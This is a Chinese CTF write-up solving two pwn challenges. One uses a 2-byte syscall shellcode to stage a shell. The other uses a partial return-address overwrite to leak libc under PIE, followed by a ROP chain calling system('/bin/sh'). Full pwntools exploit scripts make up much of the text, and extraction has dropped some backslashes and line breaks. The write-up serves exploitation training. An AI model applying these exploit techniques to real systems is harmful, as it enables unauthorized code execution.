web选手入门pwn(19) ——2个字节

1.    attachment(2字节shellcode)


mmap分配0x1000的可读可写可执行的buf地址,然后read写入2个字节,执行buf。
gdb里看一眼。

web选手入门pwn(19) ——2个字节

可以看到call rcx,而rcx上就是buf,里面有我们写的AA。

web选手入门pwn(19) ——2个字节

进入buf之后是AAx00x00x00x00x00x00,所以这个题本质上就是2字节的shellcode。AA到底应该填什么呢?IDA上已经提示的很明显了。

web选手入门pwn(19) ——2个字节

显然是call read,但call read没法2个字节,所以答案是系统调用syscall,看下此时的寄存器对不对。

web选手入门pwn(19) ——2个字节

rax = 0x0;                  read的系统调用号rdi = 0x0;                  第一个参数rsi = buf;                   第二个参数rdx = 0x500;             第三个参数

很完美,此时已进入buf执行,第二次read重写buf,然后继续执行syscall后面的shellcode。所以第二次read的时候要注意下shellcode填充几个NOP就行。以及用send()不能用seadline()

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'#sh = gdb.debug("./attachment","b mainnc")sh = process("./attachment")
shellcode = '''syscall'''
payload = asm(shellcode)print(payload)sh.send(payload)payload = "x90" * 8 +asm(shellcraft.sh())sh.send(payload)sh.interactive()

web选手入门pwn(19) ——2个字节


2.    PIE(1-2字节ret)

此题自带libc,用2.35做就行。除了Canary保护全开,极致精简的栈溢出。

web选手入门pwn(19) ——2个字节

web选手入门pwn(19) ——2个字节

read之后跟了个printf,意味着我们有可能泄露某些地址,gdb进去看一眼。

web选手入门pwn(19) ——2个字节

偏移量264,ret的是一个libc,如果我们填充到这里,刚好可以泄露libc。

web选手入门pwn(19) ——2个字节

接下来只需要跳转到main上再来一遍,但ret是个libc地址,由于PIE,text地址随机,我们无法ret main_addr。即使能也没意义,因为libc就在ret上,这使得泄露libc和跳转到main鱼和熊掌不可兼得,只能二选一。那么答案很明显了。
掺在一起做撒尿牛丸啊,笨蛋!

所以这题其实就是让你找libc上能够跳转到main的地址,而且最好离mov edi, eax这行汇编不要太远。因为libc地址只有后3位是固定的,我们只能1个字节1个字节的改写。如果改写0x90,则是稳定触发不用拼概率;如果改写0xcd90,就需要拼1/16的概率;如果改写0xdbcd90,那概率就小的没法看了。

先看两个容易想到的错误答案。
1,one_gadget

web选手入门pwn(19) ——2个字节

虽然理论上改写ret libc到one_gadget上可以直接getshell,但显然我们很难凑出这些one_gadget需要的条件——比如rbp-0x78可写,rbp被我们写成padding了。one_gadget也离mov edi, eax太远了,太拼运气。

2,__libc_start_main
很容易想到,为什么ret libc,是因为main就是用__libc_start_main调用的,那么__libc_start_main肯定在mov edi, eax附近。gdb看一眼。

web选手入门pwn(19) ——2个字节

那么ret __libc_start_main岂不是就跟ret main一样?
显然也是错误的,看看_start上的__libc_start_main吧,要的参数很多,不可能ret __libc_start_main恰好就是那些参数。

web选手入门pwn(19) ——2个字节

那么正确答案是什么呢,就在栈上。这不就有个main吗?

web选手入门pwn(19) ——2个字节

所以我们只需要在mov edi, eax附近找到个call [rsp+0x8]之类的汇编就行。远在天边,近在眼前,就在mov edi, eax的上方。

web选手入门pwn(19) ——2个字节

所以264padding+x89,即可泄露libc并跳回main。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./vuln","b mainnc")sh = process("./vuln")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0
payload = "A" * 264 + "x89"sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_d89_addr - 0x29d89print(hex(libc_base))
sh.interactive()

随后就是常规system(/bin/sh)了。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./vuln","b mainnc")sh = process("./vuln")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()libc_pop_rdi = 0x2a3e5libc_ret = 0x29cd6
payload = "A" * 264 + "x89"sh.send(payload)
libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = libc_d89_addr - 0x29d89print(hex(libc_base))payload = "A" * 264 + p64(libc_base+libc_ret) + p64(libc_base+libc_pop_rdi) + p64(libc_base+libc_binsh) + p64(libc_base+libc_system)sh.send(payload)
sh.interactive()

web选手入门pwn(19) ——2个字节


这就结束了吗?不,让我们再仔细看看ret时的内存布局。

web选手入门pwn(19) ——2个字节

除了栈上有个main之外,r13寄存器上也有个main啊。那么call r13显然也行,libc上有没有这样的汇编呢?

web选手入门pwn(19) ——2个字节

当然有,而且它离0x29d90还不算特别远,只需要拼1/16的概率。感觉call r13应该是非预期解。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./vuln","b mainnc")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
libc_start_main_libc = libc.sym['__libc_start_main']#0x29dc0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()libc_pop_rdi = 0x2a3e5libc_ret = 0x29cd6
def start(): try: sh = process("./vuln") payload = "A" * 264 + "xd3xf4" sh.send(payload) libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00") libc_base = libc_d89_addr - 0x2f4d3 print(hex(libc_base)) payload = "A" * 264 + p64(libc_base+libc_ret) + p64(libc_base+libc_pop_rdi) + p64(libc_base+libc_binsh) + p64(libc_base+libc_system) sh.send(payload) libc_d89_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00") sh.sendline('id') except Exception: sh.close() sh = start() return shsh = start()sh.interactive()

web选手入门pwn(19) ——2个字节



原文始发于微信公众号(珂技知识分享):web选手入门pwn(19) ——2个字节

版权声明:admin 发表于 2024年9月5日 下午2:12。
转载请注明:web选手入门pwn(19) ——2个字节 | CTF导航

相关文章